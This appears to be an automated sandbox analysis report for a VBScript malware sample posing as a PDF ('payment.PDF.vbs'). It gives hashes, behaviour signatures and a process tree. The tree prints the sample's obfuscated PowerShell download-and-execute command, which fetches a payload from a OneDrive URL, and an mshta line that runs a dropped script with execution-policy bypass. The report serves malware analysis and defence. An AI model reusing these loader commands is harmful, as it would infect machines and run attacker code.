416f3b7993ceaa6819402c66c9b2de0a4de163cd9765dd8dffe81cdbab538c48

Analysis

max time kernel
146s
max time network
149s
platform
windows10_x64
resource
win10v20210410
submitted
24/05/2021, 17:44

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General

Target
payment.PDF.vbs
Size 581B
Sample210524-qd64sl6sen
SHA256 416f3b7993ceaa6819402c66c9b2de0a4de163cd9765dd8dffe81cdbab538c48
MD5 3c541111822f3cd1f538dd67ed1e018a
SHA1 91f69b2ac54c42fd64d83e91412e1e903d74c6e4
SHA512 425777d47dd15c629e1db4c8e4143aead66df5440972722674394a6f445651ba4e356fdd80470a4acb2890c53281273666f07506e5fc00d22217d92dfce4540c
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
8	2836	powershell.exe
10	2836	powershell.exe
23	2836	powershell.exe
25	2836	powershell.exe
27	2836	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1136 set thread context of 1640	1136	powershell.exe	86
PID 1136 set thread context of 184	1136	powershell.exe	88

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2836	powershell.exe
2836	powershell.exe
2836	powershell.exe
1136	powershell.exe
1136	powershell.exe
1136	powershell.exe
1136	powershell.exe
1136	powershell.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeDebugPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe
Token: 33	1640	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	1640	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 2836	2204	WScript.exe	40
PID 2204 wrote to memory of 2836	2204	WScript.exe	40
PID 2836 wrote to memory of 2820	2836	powershell.exe	81
PID 2836 wrote to memory of 2820	2836	powershell.exe	81
PID 2820 wrote to memory of 1292	2820	cmd.exe	83
PID 2820 wrote to memory of 1292	2820	cmd.exe	83
PID 1292 wrote to memory of 1136	1292	mshta.exe	84
PID 1292 wrote to memory of 1136	1292	mshta.exe	84
PID 1136 wrote to memory of 1640	1136	powershell.exe	86
PID 1136 wrote to memory of 1640	1136	powershell.exe	86
PID 1136 wrote to memory of 1640	1136	powershell.exe	86
PID 1136 wrote to memory of 1640	1136	powershell.exe	86
PID 1136 wrote to memory of 1640	1136	powershell.exe	86
PID 1136 wrote to memory of 1640	1136	powershell.exe	86
PID 1136 wrote to memory of 1640	1136	powershell.exe	86
PID 1136 wrote to memory of 1640	1136	powershell.exe	86
PID 1136 wrote to memory of 1656	1136	powershell.exe	87
PID 1136 wrote to memory of 1656	1136	powershell.exe	87
PID 1136 wrote to memory of 1656	1136	powershell.exe	87
PID 1136 wrote to memory of 184	1136	powershell.exe	88
PID 1136 wrote to memory of 184	1136	powershell.exe	88
PID 1136 wrote to memory of 184	1136	powershell.exe	88
PID 1136 wrote to memory of 184	1136	powershell.exe	88
PID 1136 wrote to memory of 184	1136	powershell.exe	88
PID 1136 wrote to memory of 184	1136	powershell.exe	88
PID 1136 wrote to memory of 184	1136	powershell.exe	88
PID 1136 wrote to memory of 184	1136	powershell.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\payment.PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a1 = 'S&@&@&@&@&@&@m.N$%$%$%$%eb@!@!@!@!@!@!nt'.Replace('&@&@&@&@&@&@','yste').Replace('$%$%$%$%','et.W').Replace('@!@!@!@!@!@!','Clie');$a2b= '!!!!!!!!!!!wnl########tr*&*&*&*&*&'.Replace('!!!!!!!!!!!','Do').Replace('########','oads').Replace('*&*&*&*&*&','ing');$a3 = (New-Object $a1);$bb = I`E`X $a3.$a2b('https://onedrive.live.com/download?cid=FFEE38EB861E9448&resid=FFEE38EB861E9448%21296&authkey=AH71em8-Q5VpZLs') ;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Public\chrome.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2820
  - - C:\Windows\system32\mshta.exe
      mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""p"+"ow"+"ersh"+"ell -Ex"+"ecuti"+"onPol"+"icy Bypa"+"ss & 'C"+":\Us"+"ers\P"+"ubl"+"ic\msi"+".ps1'"", 0:close")
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1292
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\Users\Public\msi.ps1'
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1136
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1640
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
        6⤵
        
        PID:1656
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe"
        6⤵
        
        PID:184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/184-191-0x0000000002840000-0x0000000002841000-memory.dmp

Download

memory/1136-166-0x000001B520960000-0x000001B520978000-memory.dmp

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memory/1136-176-0x000001B5209A6000-0x000001B5209A8000-memory.dmp

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memory/1136-157-0x000001B5209A0000-0x000001B5209A2000-memory.dmp

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memory/1136-159-0x000001B5209A3000-0x000001B5209A5000-memory.dmp

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memory/1640-188-0x0000000005EF0000-0x0000000005EF1000-memory.dmp

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memory/1640-192-0x00000000059E0000-0x00000000059E1000-memory.dmp

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memory/1640-172-0x0000000000400000-0x000000000040E000-memory.dmp

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memory/1640-195-0x0000000005BF0000-0x0000000005BF1000-memory.dmp

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memory/1640-182-0x00000000053A0000-0x00000000053A1000-memory.dmp

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memory/1640-194-0x00000000059F0000-0x00000000059F1000-memory.dmp

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memory/1640-193-0x0000000005A90000-0x0000000005A91000-memory.dmp

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memory/2836-121-0x000001EF3C160000-0x000001EF3C161000-memory.dmp

Download

memory/2836-129-0x000001EF3C1A6000-0x000001EF3C1A8000-memory.dmp

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memory/2836-118-0x000001EF3C1A0000-0x000001EF3C1A2000-memory.dmp

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memory/2836-120-0x000001EF3C1A3000-0x000001EF3C1A5000-memory.dmp

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memory/2836-124-0x000001EF3C330000-0x000001EF3C331000-memory.dmp

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